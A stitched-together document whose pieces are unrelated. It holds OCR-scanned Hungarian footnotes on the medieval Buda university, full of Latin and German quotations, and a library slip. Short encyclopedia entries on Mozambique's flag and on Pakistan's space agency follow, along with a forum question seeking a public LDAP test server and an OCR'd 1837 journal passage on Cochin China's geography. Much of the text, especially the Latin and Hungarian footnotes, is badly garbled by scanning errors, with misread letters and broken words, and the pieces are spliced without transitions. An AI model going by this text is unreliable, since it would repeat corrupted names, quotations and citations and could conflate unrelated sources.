multo maximé libenter redditas perlegi, légi et relegi. Morteni verő magistri
Joannis Erfordensis perquam lugiibriter etiam Hodie fero, utpote f[ui mihi
semper fűit amicus primarius et ob id quara maximé charus. . . . De testa-
mento verő ipsius Magistros cerciores feci .... Quod pariter et ego cistam aputl
leselmprant sigillo tlomini nostri tlucalis collegii obsignavimus. Testre quo-
que amicicie omnes pariter gratias habennis pro ista vestra dihgencia, pro-
mocione et fideli avisacione, qua nos tam benevolentissime prosequiinini.
Potissmie nomine tluormn annullonuu mihi legatorum habeo gi'acias . . .
Item cerciores feci sorores apud S. Hieronimum tle schubis aputl Matheum
sartorem, nec c[uidquam amplius nobis deficit ; nisi ut doceamur testamen-
tum Magistri Joannis dive Memorie esse legittmium et A"ahtlum. . . Velim
Itac[ue ut primum j)er opportunitatem licuerit, eius copiam nobis autentice
procuretis, qua memoratas res petére liberius possünus : Caute tamen et
tj^uotlam sileutio agentlmu est, ne fáma atl cimalium aures pei-volet, ipse reni
scitis. Valete feliciter. Et presentem gerulmu, memn discipulmn tantisque in
vestris scolis foveatis ; Donec infestissimageneris humani hostis eiúdimiahic
sevire desierit. Quo facto vobis in etiualibus usque gi'atificabor.w — A másotiik
levélből: ((Valentissimo viro bonarmn artium Magistro Pangi-atio Eorbeck
Bude aputl nostram tlominam ludi magistro, suorum amiconim charissimo
91
Briccins Ciliensis licentiatns theologic S. p. d. Eone tue valetiidini, í'ortune
et potissimuni tnis lamlibns tanto phis gratiilox*, qnanto seniper milii íu-
eris charior. . . Si tibi itaqne aliqnando regis tui copia fuerit, veliiii siiadeas;,
iit illáin nostrain angariacioueni calaiuitatenique aufferat a nobis, ne tantum
inaliini, qiiod universalis ecclesia ex universitate nosti'a (!) tlissolucione jiati-
tnr deo nostro, qiiod absit .... Transmitto per magistrnni Joanneni Rancli
ttie hiimanitati recogniciones de sororibus apud S. Hierouinium, de prioré
nostre donnis collegialis, et de me gráciám reruni olini niagistri Joannis
Eydnreicli de Erfordia, qnas percepinius secunduni tenoréin testamenti. . .»
'*") V. ö. Schiert, Buda Sacra. Viennae. 1774. p. 54. .55. Ugyanazon
munkában p. 13 Scliier IV. Béla királynak 1255-ben kelt okmányát közli,
melyben Béla a bold. szűz Mária (B. V. M.) újonnan épült temi)lomának
jiatronatusát a budai dömésekre ruházza.
^^) ((Quod autem de vestris ingeniis studiisque dixistin mondja Mátyás
király az idézett műben (quat. Pi. fol. 3a) a flórenczi származású Dominicus
Júniusnak, "fateor quidem apud vos et óptima esse ingenia et studiis bona-
rum artium erudiri, sed vei florere apud vos magis quam in regno ullo
artes disciplinasque liberales, vei plures e vestra civitate quam ex aliis ela-
ros in oninibus discipliuis viros prodire non fateor. Nam ut de nostro
Viennensi Ginnasio taceam, in quo quamquam nos bellicis artibus maximé
dediti sunms, omnes tamen liberales disciplinae non in postremis sunt»
stb. Egy más helyen is hasonlóan nyilatkozik Mátyás király: ((quamquam
et clari nobis viri non desunt, et ego aliquanto diligentius quam maiores
mei studia litterarum in hac nostra Pannónia curaverim frequentanda, et
in eam íut apud vos liberius de me ipso praedicem) ex ipso quodammodo
Parnaso mansuetiores musas invexerim et Viennam nimc mistram claris
quottidie AÓris disciphnisque exornem.w
*^) Wallaszky, Tent. p. 62: "Ad legendás Disciplinas Mathematicas
Johannes Műller de Monté Piegio fevocatus forte ex Academia Istropolitana)
stipendio aureorum nummum 200. conductus esse a quibusdam dicitum, és a
Conspectusban p. 113 ismét a budai egj'eteiu tanárai között hozza föl azon
megjegj'zéssel, hogy Pozsonyból hivatott Budára. (Lányi szerint, I. p. 578 :
((Vitéz holta után Budára vándoroltak mind MüUer, mind talán Vitéznek
csillagászati műszerei ísm). Azonkívül Tent. p. 62, Consp. p. 113. 114: «De
Antonio Bonfinio, Galeoto Martio, Thadeo Ugoleto, licet in aula Matthiae
multis anuis versati fuerint, membra tamen Academiae fuisse (utut quidem
sit probabile) certo affirmare non ausim.))
*^) De praedestinatione czimű művének élőbeszédje (Denisnél V. II.
P. II. p. 1326) így kezdődik : <( Fráter Nicolaus ex Mirabilibus natus Colosvarien.
ordinis praedicat. divae Theologiae professor ac per universum dominium
Ser. Eegis Hungáriáé Haereticae pravitatis inquisitor et Apustolicus prae-
dicator stb.» Ezen élőbeszédében többek közt meg%"etéssel szól az olyan
theologusokról, kik valamely ((theologium gyinnasium>i-ot nem látogattak;
ugy láts?;ik ilyen A'olt a budai főiskola is.
**) V. ö. Jcachim Vadirnus Mythicr.m Syntagma-ját (Viennae 1513
92
Decemb.) : ((Cum nuper Budám ... ego et Georgius Collimitius ... atti-
gissemus, . . . me est liortatus liimiauissimus nec protritae eruclitionis vir,
Ulriclms Tobriíiclier, qni tuin ludo litterario praefectiis nos et humaniter et
elegauter non semel excepit* stb. — Hogy Tobriacber 151S-beu már po-
zsonyi kanonok volt, bizonyítja Kuauz, Magyar Sión. TV. p. 34i. V. ö.
még Eimelyt i. m. p. 262: «1518. üdalricus Vilhelmus Dobriacher vei
Villaco, vir literátus. Decanus, paroclms s. Laurentii 1521 — 24 ab intestato
decedens, Capitulum multis niolestiis involvit.»
^^) Wallaszky (Tent. p. 62) azt írja, liogy a moliácsi vész hírére « Simon
Grynaeiis, Vitus Yinsheimus [1501 — 1570!], Joannes Langus, qui ciim laude
diversas docuerant scientias, et Conradus Cordatus, unde venerant, in Ger-
mauiam redierunt.)> Már ezen idézet is bizonyítja, hogy Wallaszky Cordatust
nem sorozta a budai egyetem tanárai közé, és Consp. p. 17.3, hol az imént
idézett hely szóról szóra ismét előfordul, az (let Conradus Cordatus » szavak
hiányoznak. Téved tehát Toldy (i. m. II. p. 27), mikor Cordatust is a budai
egyetemi tanárok között említi feL'Wallaszkj' Cordatusról szóló adatait való-
színűleg Czvittingerből (p. 101) merítette, ki ismét szóról szóra MoUer Ho-
monymoscoi:)iájáí (p. 848) írta ki: (.Cordatus Conradus Himgarus, S. Theol.
Doctor Evangelicus, Verbi Di^-ini Minister, circa anniun 1526 Budensis in
Hungária, deiude cum hinc esset pulsus, Steudalensis in ]\Iarchia.» — Müiek
alajoján nevezi "Wallaszky úgy a Teutamenben mint a Conspectusban, és
utána Toldy, Laug Jánost budai egyetemi tanárnak, nem tudom, de hogy itt is
tévedett Wallaszky, már azért is valószínűnek kell tartanom, mert a Janociana'
ban (I. p. 153) a freistadti születésű Johannes Langusról nem azt olvassuk,
hogy a budai egyetemen tanár volt, hanem azt, hogy Krakkóban folytatván
tanulmányait «Philippo Gimdeho iuris prudentiam docenti ita totum sese
addixit, ut abeuntem eum Viennam sit secutiis. Perductus inde üi Hiinga-
riam est. Ac Budne, augustissimo Eegum domiciho, docendis atque eriidi-
endis regiis piieris s7/mj>lioniacis 2»'acfectus» (Krakkóban 1540-től 1561-ig
számos műve megjelent.). Hasonlóan Melch. Adami, Vitae Germauormn
Jureconsultorum (Heidelb. 1620 p. 76): olnde (Bécsből) avulsus Budám venit,
et propter ingenii et doctrinae laudem a Thoma Stollero [Stolcer] Suidni-
ceno sacelli Musices rectore, Ludovico Ungariae regi commendatus pueroram
syiiiphoniacoruiu et artes discentium praecejjtor fuit.« Abból, hogy Láng
nem csak énekmestei*, hanem Adami szerint * artes discentium praeceptorw is
volt, még nem következik, hogy egyetemi tanár volt. — Túloz Lányi (i. m.
II. p. 7): «a mag^-ar főváros eg^'etemén soT: német tudós oA-/rt/oi'^ kik közül
Ortel Wid Windsheimből ós Grynaeus Simon a wittenbergi iratokat nag^-on
kedvelék. »
^^) Wallaszky (Tent. p. 63) Severinus Sculteti 'l'-óavr^aa-jából (Bartphae
1599) a következő helyet idézi: « Seribit quodam loco D. Thomas Faber
j). m. suecessor D. Leonhardi Stoekelii in luchrectoratu Barti^heusi et Prae-
ceptor noster charissimus quod audiverit a senibus fide dignis, adhuc sub Lu-
dovico II. Eege Ungariae circa annum Christi 25. ísui^ra millesimum quingente-
simum) Budae coeiDÍsse Evangeliimi. Sed inde pulsos esse Evangelii Professo-
93
res, inter quos et Siinou Gvynaens et YJtTis Vinsliemins viri excellenter docti
qni scliolae Bixdensis et fortassis etiam Bibliothecae relictae ibidem a Matthia
Eege praefecti fuerant, relicta Ungaria redieriint in Geriuauiam. Factvisque
est Grynaeiis Philos. Professor Basileae, Vitus autem Vinsliemius Linguae
Graecae Vittebergae. « Ug^yanott Wallaszky Melcliior Adami « Vitae Philoso-
phormuGermauorum)) nyomán felhozza Grynaensról, «emnVindoljonaubi grae-
cas litteras legére iussus erat, Biidaiu esse vocatnni: nbi emu aliquot aunis
scholae praefnisset atqne religionem Evangelicam amplexus fiiisset, accusatimi
a Monacliis in carcerem esse coniectum, ex quo tamen Nobilitatis Ungaricae
intercessiones enm tandem liljeravissent. Ex Pannónia igitur Vittebergam
concessisse, ibique multa cum Lutliero et Melanthone snper religionis uego-
"tio et aliis rebus contulisse.» Azután így folytatja Wallaszky : (diinc in pátriám
Comitatum Hohenzolleranum regressus ad Academiam Heidelbergensem anno
1523. íjost Basileam, dein Tubingam, atque iterum Basileam vocatus anno
1540. obiit.i) — Lampe (História Ecclesiae Reformatae in Hungária et Tran-
sylvania. 1728. p. 64) szintén idé.'ji Sculteti föntebb közölt passusát és meg-
jegyzi, hogy Grynaeus nem 1525-ben, hanem már 15^3-ban hagyta el ha-
zánkat, «cum Basileam iam anno 1523 concesserit, si computo Pantaleonis,
quem et Hottingerus in História Ecclesiae Helveticae secuíus est, sua con-
stat fides.» Zsindely István « A bázeli egyetem anyakönyvéből » czímű czikke
(Sárospataki füzetek. 1860. p. 154 — 165) Giynaeusról szintén közöl egy pár
adatot, de azok ránk nézve érdektelenek, kivévén azt, hogy Grynaeus
1 532-ben a báseli egyetemen a göriig nyelv tanára volt. — Grynaeust illetőleg
V. ö. még a Biographie Uuiverselle következő adatait : «(szttl. 1493) ... II fré-
quenta ensuite les com-s de V Université de Vienne, y prit ses degrés en
philosophie et y obtiut une chaire de langue grecque : s'étant démis de cetté
place au bout de quelques aunées il accejita la direction de Vécole de Bude,
mais ayant voulu fairé profession de la reformé en cetté ville, cetté impru-
dence faillit avoir pour lui les suites les plus fácheuses. II fut mis en pri-
son et n'en sortit qii'á la soUicitation de quelques gentilshommes, dönt il
élévait les enfants. II se retira pour lors a Verningen, mais en jjassant par
Wittenberg il s'y arréta pour couférer avec Luther et Mélanchthón. Nőmmé
au 1523 professeur du Grecque au Gynmase de Heidelberg stb. » — Heppe,
Ersch és Gruber lexiconjában Grynaeus levélgyüjteméuyének (Simonis Gry-
naei . . . Epistolae . . ed. Streuber, Basil. 1847) és Streuber-féle életrajzának
alapján (Baseler Taschenbuch. 1853. j). 1 — 43) így adja elő a dolgot: «Xach
Beendigung des Schulcursus in Pforzheim (hová 14 éves korában ment
begab sich Grynaeus zum Beginn der akademischen Studien nach Wien.
Schon frühzeitig erwarb er sich hier den Grad eines Magisters der freien
Künste und trat hald auch selbst als Lehrer der griechischen Sprache auf
. . Es konnte daher nicht fehlen, dass Grjniaeus in Ofen (Buda) wohin er
sich von Wien aus begab, um das ihni dargebotene Rectorat einer Schule
zu übernehmen, bald erkannt wiu'de. Mit Erbitterung hörten die Domini-
caner von dem Anháuger EeuchUns, von welchem letzteren ihr Orden so
viel zu leiden hatte iTnd die Tücke derselben brachte ihn als Ketzer ius
94
Gefáugniss. Glückliclier Weise war Grynaeus vorlier mit einigeu Maguateu
bekannt geworden, derén Einfluss ihn aus dem Kerker wieder befreite.
Natüiiich war ilim nun der Aufenthalt in Ofeu verleidet, es trieb ihn uaeh
Deutsclilaud zurück. . . Erst im Jalire ISSi begegnen wir ihm wieder, und
zwar in Heidelberg, wohin er daiuals einen Eiif als Professor der grieclii-
scheu Spraclie erhalten hatte.» Ellenben a fölületes Borbis (Die evangeliscb-
luthriscbe Kircbe Ungarns. Nördlingeu. 1861. p. 6) azt mondja, hogj' «Dm-ch
Liitbers Scbriften angeregt, lebrten bereits im Jabre 1522 au der Akademie
zu Ofen in Luthers Sinn die Professoren Simon Grj-naus mid Vitus Wins-
liem, welclie der weiter untén erwábnte Matli. Dévaj- liörte (?) ; freilicb
wm-deu sie scbon im J. 1525 (!7 verbannt. (Eibiui I. 1. M. d'Aubign. 37.
39. 4k)i) — Hogy a protestánsok üldözése 1523. táján hazánkban már virág-
zott, bizonyítja az 1523-ban Budán szent György napján tartott országgyűlés
által hozott 54-ik törvényczikk, mely szerint uomnes Lutheranos et iUorum
fautores ac factioni ipsi adhaerentes tamquam publicos haereticos hostesque
sauctissimae virginis Mariae poeua caj^itis et ablatione omnium bonormu
suorum maiestas regia veluti catholicus princeps punire dignetur." — Gryuaeus
családnevéről, bécsi tanulmányairól és tanárkodásáról a bécsi egyetem actái-
ból Schrauftól a következő becses adatokat kaptam : 1511-ben in die S.
Colomanni az egvetemi anyakönyvbe a ((Ehenenses)i natiójába felvétetett:
((Simon Griner de Peringen » ; 1512-ben július 29-ikén pedig a bölcsészeti
kar anyakönyvébe: « Simon Griuuer ex Peringen . . . pauper.» 1514. január
2-ikán a bölcsészeti kar jegyzőkönyve szerint Mijresentantur scholastici pro-
moti circiter Luci^ hoc ordine locati : [17 közül a 15-ik helyen] 15. Simon
Grej^ner ex Peringen. » 1514. ápril 8-ikán a rajnai natio anvakönyve szerint:
((In procuracia magistri Leonardi Scliráczhamer ex Langiugen de facultate
theologica Inscripti hac mutaeione [((Semesterwechseli)] . . . Magistri . . . Bac-
calauvei Simon Griner ex Periugenn (((peritus in liugua latina, greca, et
liebreican adja hozzá más kéz) 7 denarios . . .* Scolares ...» — 1516-ban ((feria
quarta ante festum Mathie (febr. 20-ikán) congregata est facultas [a böl-
csészeti kar] ad audiendum peticionem liceuciatorum admitti ad incipien-
dum petencium, quorum peticio fiűt exaudita. Eorum tentatores fueruut
magistri Martiuus Edlinger, Bernardus Ottó, Petrus Sempronius, Lucas
Capher. Locacio [horum 22] liceuciatorum ... 15 Simon Greiner.» Végre 1520.
apiili? havában Grynaeus is felsoroltatik azon fiatal tanárok között, kik
szokás szerint engedélyért folj'amodtak, hogy az egyetemi könyvtárt hasz-
nálhassák. ((Tercius [articulus] ad audiendum magistros claves ad librariam
jjetituros et petiverunt magistri Simon Greiner etc. qui omues exauditi
sunt.» Igazán tartott-e Grynaeus az egj'etemen a görög nj'elvböl is előadá-
sokat, kétes; Schrauf szerint 1523. apr. 14-ikén határozták el legelőször,
hogy a baccalaureusi fok elnyerése végett «grammaticam graecain esse
legendám. » — Miért hagyta el Grj-naeus Bécset, talán megfejti Schraufnak
egy liozzám intézett levelének következő helye : ((da am 26. Nov. 1520 das
Mandat gegen Luther publiciert wurde und nun der Streit im Schosse der
Universitiit sowolil als ge<íeu das bischöfliche Consistorium und die Regié-
95
ruug beganu, so mag wol Greiner iu Aubetraclit dieser der neiien Lehre
so uugünstigeu Vei-liáltnisse Wien verlassen uud Ofen zu seiiiera Aufent-
lialt gewáhlt habeu ; wie sehr gegen Luther geeifert wurde. mögen Sie
daraus entuelimeu, dass im Aprilsemester 1524 das Lesen der Lutheri-
seben Schriften id. h. die Eiusicht in dieselben) allén Magistem mit nnr
wenigen (von der tlieol. Faciütát zu bestimmeudeni Au.snalnnen jirohibiert
■WT.u-de.» Legvégül Gi-vnaeus budai tanárkodásának emlékéül hadd álljon
itt a következő levél ^Si))lO)tis Grynaei Epistolae. Ed. Streuber. 16. 1.
Xin. levél) :
Georgius Corenhecliius Pannonus Simoni Grynaeo.
Si vota, Simon doctissinae, valerent. optarím certe, me uumquam abs
te amotum, vei hodie saltim ajjud te esse. Ego quanta iactura bouarum
literarum te reliqueiim, non sane ignoro, haberem utique amiciores Musas.
Quae tametsi me non jienitus destituerint, tamen parum abfiűt, quin dum
aulae atque vietui ser^io. ipse me ab his, tametsi sedulo reluetatus síuii,
abdicaiim. Sed quis durae necessitatis leges perfringat ? Quae me düs te-
stibus, invitum abs te abstraxerunt. Quare etiamsi tua me j)raeseutia sors
dura fraudaverit, tamen memóriám nunquam abolebit, qua crebeiilme
abseus etiam, praesens milii esse videris. Atque haec causa est, quod nul-
lum unquam ad te commodum nunciiun proficiscentem, siue hteris meis
passus smn abire. Eae gratae tibi fuerint, aut etiam omnino ad te pei"\'e-
uerint nescio. Xullas enim a te invicem accepi. Sed quiim is vii* ad te
proficiscatur, qui mihi maxiiue est amicus, quem etiam tu propter sin-
gularem et eruditionem et humanitatem amas, et in amicitiam tuam haud
ditbie, si non recipisti, recipies : nolui committere, ut is, quem tibi ami-
emu esse, nihil ambigo, sine meis, qualibuscunque tandem literulis te con-
veniret. Validé enim cui^erem. vestro congi-essui interessé. Hoc qma non
licet, volui tamen liteiis meas partes mandare : quas nisi colloquio vestro
exemeris, eífectura:-* scio, ut et tuae aüquando ad me reciin-ant. Quod ut
faeias, te pro pristiua tua erga me fide, obtestor. neque tabeUionum penu-
riam eauseiis, quuui D. doctor VigiHus Zwichemus Phrysius, qui meas ad
te perfert, ad me relegare queat. Tu Simon hiunauissime age, perspi-
ciam te mei necdum immemorem ese. Ego sane connitar, ut intelligas,
me tiú semper cum diguitate meminisse. Vale, et tiium Georgiám, quem
ef Budae et Vitehergae diligenter instituisti. etiam hodie, fide tua, ne
destituas. Itenim vale, et quidem in Christo multo placidissimo, O Simon,
quam velim me coram tibi loqui jiosse. Sed age, me literís tuis doctis-
simis nou dedigneris. qui me eruditione et diguitate tua ornare semper
valuisti.
Datuiu Swatzii. V. Cal. Xov. Anno 1533.
^') Mermj-ibe került évenkint a tübingeui egyetem fentartása. mutat-
ják 1.541/42-böl való számadásai Paulsennél (Hist. Zeitschr. 1S81. p. 279i:
oDen Hauptstock des Einkommeus machten noch die 13 Prábenden aus. Die
Universitát empfingan Zehnten und andern Hebungeu in natura 3519 Schetíel
Dinkel, 1853 Sch. Hafer, 152 Sch. Eoggeu, 179 Sch. audere Körnerfi-ucht.
96
286 Eimei- Wein. Sie besass Schennen, Speiciier, überhaupt eine ausge-
clehnte Wirthschaftsverwaltung. Von clen Frachten wurde den Berechtigten
uuter dem Marktpreis abgelassen, das übrige verkauft. Der Ertrag wai" in
diesem Jahre, eineui fruclitbaren, 3973 fl. An anderweitigeu Einkünften
(Zinsen, Mietlisgelder, aiis der herzoglichen Kamnier) ergaben sich nocli ca.
1203 fl.: zusainmen 5176 fl. Einnalime. — Die Ausgabeu vertheilten sich
wie folgt : Allgemeine Verwaltuug 162 fl. Lasten (Zinsen, Vikaria-te, Steii-
ern) 612 fl. Vermögensverwaltuug (Beamte, Arbeitslolm, Eeisen, Gebáude
etz.) 1585 fl. Professorengelialte für 3 Tlieologen, 6 Jiuisten, 2 Mediciuer,
10 Artisteu (Zwisclien 40 fl. der Artisteu nud 200 fl. des ersten Tlieologen
sich bewegeud) 2394 fl. Summe der Aiisgaben 4583, so dass sich alsó für
dieses Jahr eiu Ueberschuss von 300 fl. ergab. — Für Bibliothek, Samm-
lungen, lustitute aller Art gab es keine Ansgabeposten. Die geringen
Bücheranschafíungeu wurden je nach Noth und Gelegeuheit gemacht.))
Kapzsi fejedelemtől kitelhetett, hogy jobb szerette ez egj'eteni jövedelmeit
saját javára fordítani.
**) Fraknói « Adalékok a XV. és XVI. századi iskolázáshoz « czimü
czikkében (Századok. 1875. p. 668) idéz két helyet 11. Lajos kii'ály szám-
adási köny^^éböl, melyekben felemlíttetik, hogy a király « Scolaribus in scola
beaté Marié Virginis commorantibiis Begie Maiestati snpi5lieautibus» aján-
dékot adott. Ugyanaz történt « Scolaribus quinque scolarum Begie Maiestati
recordantibus i> és « Scolaribus septem scolarum Begie Maiestati supplican-
tibus.i) V. ö. II. Lajos király számadási könyvét 1526. január — július 16
(Magyar Történelmi Tár. XXII) p. 101 : ((Eodem die (márcz. 9-ikénj scola-
ribus in scola beaté Marié virginis commorantibus Begie IMaiestati sui^pli-
cantibus iussu sue Maiestatis pro elemosiua deth fl. 11. » és p. 107: "Eodem
die (mál'cz. 14-ikóu) scolaribus in scola beaté Marié virginis commorantibus
Begie Maiestati supplicantibus iussu sue Maiestatis dedi fl. II. »
®^) Toldy is azt liiszi (i. m. II p. 27) hogy «e főiskolának a mohácsi
nap vetett véget, melynek következései elöl a megrémült tanárok szét-
oszlottak. Quetiff véleménye szerint (Scriptt. Ord. Praedic. I. ]). 863 1 a
budai főiskola csak 1541-ben szűnt meg és Fejér is azt mondja (Hist. Acad.
Scient. p. 9) hogy «hanc quoque [a Corvina könjTtárt] clades ad Mohács
fatális ac Buda per Turcas capta cum aede Dominicanorum in stabulum
conversa, A. 1541 lugubri sorté in tumulmu pi'aecipitavit. » Fraknói szerint
(A hazai és külföldi iskolázás, p. 31) a budai egyetem «fentartotta magát a
mohácsi vészig ; és habár a XVI. század elején (?) hanyatlásnak indiüt, még
mindig jeles tanárokkal — közöttök több külföldi tudóssal — és nagy-
számú (?) tanulókkal chcsekedett. » De már ugyanazon munkának egy másik
helyén, p. 85, hol a budai egyetem történetét a XVI. században adja Frak-
nói, másképen nyilatkozik : «A budai főiskola, mely a nagy Mátyás uralko-
dása alatt tanárainak jelessége és tanítványainak száma által em'ópai jelen-
tőségre emelkedett (?) tehetetlen utódjai alatt, gyors hanyatlásnak indult. II.
Ulászló és II. Lajos alatt enyészete föltartózhatlanná lett. Siettette ezt azon
körülmény is, hogy a főiskola idegen tanárai, Grj^naeus Sünön, Laug János,
07
Vinsheiniius Vid a Lnthor által meginditott luozgaloiiilioz csatlakoztak.
Ekként luagokrí!, vonták a főpapság s a király üldözését. ir)'23 körül tanszé-
keiket és hazánkat elhagyni kényszerültek. Gryuaeus Bázelije (?) költözött s
ott a görög nyelv tanszéket nyerte el, majd 1541-ben az egyetem rectorává
lön. Vinsheim Wittenbergben alkalmaztatott mint a görög nyelv tanára.
Ekként a mohácsi katastrófa későn jött, hogy Mátyás ezen müvét is meg-
semmisítse.)) — Végie Toldy szerint Nádasdi Tamás is a budai egyetemen
tanult ; honnan tudja ezt Toldy, nem tudom ; Cz\áttinger (p. 277| Budai
(Lexicon) és a « Palatini Regni Hungáriáé » czímű munka szerint Gráczban,
J'.olognában és Pióiuában nevelkedett.
LA Ábel, Eugen
687 Egyetemeink a középkorban
A6
PLEASE DO NOT REMOVE
CARDS OR SLIPS FROM THIS POCKET
UNIVERSITY OF TORONTO LIBRARY
|
The flag of Mozambique was adopted on May 1, 1983. FRELIMO, the ruling party, argued that the star's resemblance to the communist symbol was coincidental, and that the rifle represented the nation's struggle for independence.
Appearance
It has a horizontal tricolour of green, white-fimbriated black and yellow with the red isosceles triangle based on the hoist-side bearing the yellow five-pointed star that bears an Kalashnikov with the bayonet attached to the barrel crossed by the hoe superimposed on an open book.
References
Mozambique
Mozambique |
<p>I need to test an application which uses LDAP for authentication, but still I don't have access to the server I have to use, but I need to test my application.</p>
<p>Does somebody know if is there any LDAP server with data that i can use for access??</p> |
The Space and Upper Atmosphere Research Commission abbreviated as SUPARCO is the national space agency of Pakistan. It was founded in 1961. Its headquarters are based in Karachi.
It is responsible for the nation's public and civil space programme and for aeronautics and aerospace research.
Sources
Other websites
http://www.suparco.gov.pk/
Space research organizations
Pakistan
Research organizations in Asia |
1837.] Note on the Geography of Cochin China. 737
' The rája having previously been instructed in the doctrines (of the orthodox
faith) readily distinguished that these were not bhikkhus, but heretics. Sup-
plying them with white dresses, to be substituted for their sacerdotal yellow
robes, he expelled them : the whole of them amounted to sixty thousand.
Then sending for the other priests, he thus questioned them.
“Lords! what faith did the supreme BuppHo reveal ?””
` 4“ Mahéraja! the *Wibhajja faith ?”? i
| On receiving this answer, addressing himself to the théro, he asked : “ Lord!
was the supreme Buppuo himself of the Wilhajja faith ?”
. Being answered in the affirmative, the raja then saying ‘‘ Lord! the religion
is now purified: let the priesthood now perform the Upesatha ;’’ and conferring
on them the royal protection, re-entered the capital.
““The priesthood assembling together performed the dpat. The number
of bhikkhus who assenrbled there was sixty lakhs. The théro MOGGALIPUTTA:
TIssO, suppressing in that community the professions of the creeds of other
sects, propounded to them the Katháwatthuppákaran. And then selecting, and
setting apart, from among the sixty lakhs of bhikkhus, one thousand bhikkhus,
from amongst those who were the sustainers of the text of the three Pitakani,
who had overcome the dominion of sin which is to be subdued, and who were
masters of the mysteries of three Wijja,—in whatever manner MAHAKASSAPO
and Yasso théro had held their convocations, on Dhammo and Winayo, pre-
cisely in the same manner, holding a CONVOCATION, and purifying the whole
Sdsanan from all impurity, he performed the THIRD CONVOCATION, At the
close of the CONVOCATION, the earth quaked in varieus ways.
This CONVOCATION was brought to a close in nine months. It is also called
the ‘‘saHasika’’ because the CONVOCATION was compesed of a (sákása)
thousand bhikkhus, and on account of two having preceded it, also the ( Tatiya)
THIRD CONVOCATION.
T].—Nate on the Geography of Cochin China, by the Right Rev. JEan
Louts, Bishop of Isauropolis, Vic. Apost. of Cochin China. si
Mem. As. Soc.
{Translated from a memoir kindly communicated by the author +.]
Speaking of the geography of Cochin China, M. Matter’ Brun,
whose works on this subject are in many respects highly valuable,
has not feared to advance that our knowledge of this country has
become more obscure the more it has been handled by successive
writers, who contradict one another. In spite of the respect due to
an author of Marre’ Brun’s celebrity, (who nevertheless is, I believe,
only a fireside geographist,—or, which is the same thing, a traveller
* Signifies ‘‘ investigated,” also ‘‘ verified.”
+ We must apologize to the author for presenting his contribution in English,
a work of no small trouble by the way to an Editor, but the difficulty of —
in French would have much retarded the journal.—Eb.
-
oA
738 Note on the Geography of Cochin China. — (Serr.
who has made the tour of his library,) I will venture to throw some
light on what he has regarded as so obscure, and to prove that this
country hitherto so unknown is now become familiar to many. ‘‘ This
country,” says he, ‘‘ once comprehended with Tong-king under the
general name of Anam, was separated from it about 600 years ago,
for the first king named, Trzn Vuone, who was also the first
conqueror” in 1569, held the government until 1614, first as prefect or
governor, then as king. ‘‘ We are ignorant,” says the same author,
“under what particular name the natives then designated or now
designate the country. That of Azam is too extensive a term :”—thus,
according to our author’s notions it is too extensive ; but he favors us
with no proof in support of his opinion. Ask a Cochin Chinese
whence he is; he will reply, ‘I am of the kingdom of An nam.’ These
two words signify the ‘peace of the south ;’—an, peace; nam, south.
Some sovereigns of the country have endeavoured from superstitious
motives to change this name to Nam viét, Dai viet, Viet nam ; but these
names, employed only in their edicts or in the laws of the realm, are
not in vogue among the people, who always call themselves ‘ children
of the country of An nam.’ It is true that a stranger may sometimes
hear natives in lieu of An num pronounce the word Ai nam or En nam;
which is thus explained. Superstition, and a pretended respect for
some of their parents’ relations or ancestors forbid their pronouncing
Certain names. Thus for example, if youask a Cochin Chinese whose
father bears the name of An, whence he comes ?—He will tell you,
from A? nam.
' The name of An nam, which we translate in Europe by that of
Cochin China, is the real name of the country. It is also that which
is employed uniformly in Chinese books to designate it, although our
geographer pretends, that the Japanese gave it the name of Cotchin-
Djina,‘ country to the west of China;’ and that Europeans thence
came to employ the same term. I believe on the contrary that the
origin of the name of Cochin China is rather to be sought in the two
words China, and Cochin. The Portuguese who came first to the
Indies having fancied some resemblance between the coast of An nam
and that of Cochin on the Malabar side of India, and connecting this |
with its proximity to China, gave it the joint | name of Cochin China,
that is, the Chinese Cochin.
Here again arises another question; what are the Jibon of this
country? “La nature des lieux, l'extension de la nation et celle
du language Européen bornent le nom de Cochin Chine, ou si l'on
veut d’ Anam meridional à la côte qui s'étend depuis le Tong-king jus-
qu’ à Ciampa, sur 110 lieues de long; et 10 a 25 del arge. Nous
1837.] ] Note on the Geography of Cochin China. 739
n abandonnerons point cet usage commode.” It is our author who
speaks: but how melancholy is it for the reader to hear a man of
talent thus framing geographical systems in his head, and refusing to
follow newer or more exact information because it does not tally with
the “ usage commode,” or to speak plainly, because it would give g
little more trouble. :
“If recent or ephemeral conquests,” says he, “ have brought the
coasts of Camboge under the rule of the king of Cochin China, this is
no reason for changing a nomenclature founded on the difference of na-
tions and on the situations of countries. The geography of the province,
offers still greater difficulties. Those who, like some modern navigators,
extend Cochin China up to the point of Camboge, divide it into three
parts, wpper, middle and lower, or the province of Hue”? Here, in
placing Hué in Lower Cochin China, the geographer commits a grave
error, for that country is situated in Upper Cochin China. ‘‘ The older
travellers,” says he, “ give a much more complex division to the coun-
try, and one perhaps more exact, but at the same time obscure; by this
we will endeavour to determine the following provinces, proceeding
from north to south.”
- Since M. Matty’ Brun prefers the most complicated divisions, and
even those he acknowledges to be most indistinct, I leave him
willingly to indulge in his peculiar taste. A residence of many years
in Cochin China having enabled me to run over all the provinces
from the 17th to the 9th degree, north lat., I will attempt to clear up
what has seemed to him to be so obscure.
The division of Cochin China into three parts is certainly the most
convenient. Going from north to south and beginning with about 17° 30°
north lat. the first province, or prefecture, is called Quang binh, the
second Quang tri, and the third Quang dé’c. These three prefectures
compose what is properly called ‘ Upper Cochin China,’ or vulgarly ‘Hué,
(or sometimes Phu ? eudn*) from the name of the capital which lies
in the prefecture of Quang di’c. But this name Quang dii’c has been
changed by the present king. Pretending to be the son of heaven and
aspiring to give a name in harmony with this high title, he has desig-
mated it Phu ? thi’a thién ; i. e. ‘ province which enjoys the influence of
heaven!’
Before passing to other provinces, 1 would observe that the terms
I employ to designate the names of provinces are those most in use ;
| ™ The interrogative sign here denotes that the u is to be pronounced with a
ising intonation of voice—we have not the various type necessary to express
Ihe native words according to the Bishop’s system.—Ep.
| 5 A 2
- 740 Note on the Geography of Cochin China. ‘[Sarr.
.and best known to the inhabitants: for there are-provinees which
have received new names from his majesty, though such are only
. employed in edicts and in the writings of the mandarins, the people
. adhering to the ancient appellations. For example the prefecture of
_Déngnai, or province of lower Cochin China, is now called Bién hoa,
and the part known by the Europeans ander the name of Sài gòn is now
- galled Gia dinh*. (In writing the native names in Roman characters, I
follow the method adopted alike by all missionaries of different nations
for the last 200 years. The same may be said of. the Tongking
names, but as in the latter language there are sounds foreign to the
European ear, it is necessary to introduce new symbols to express
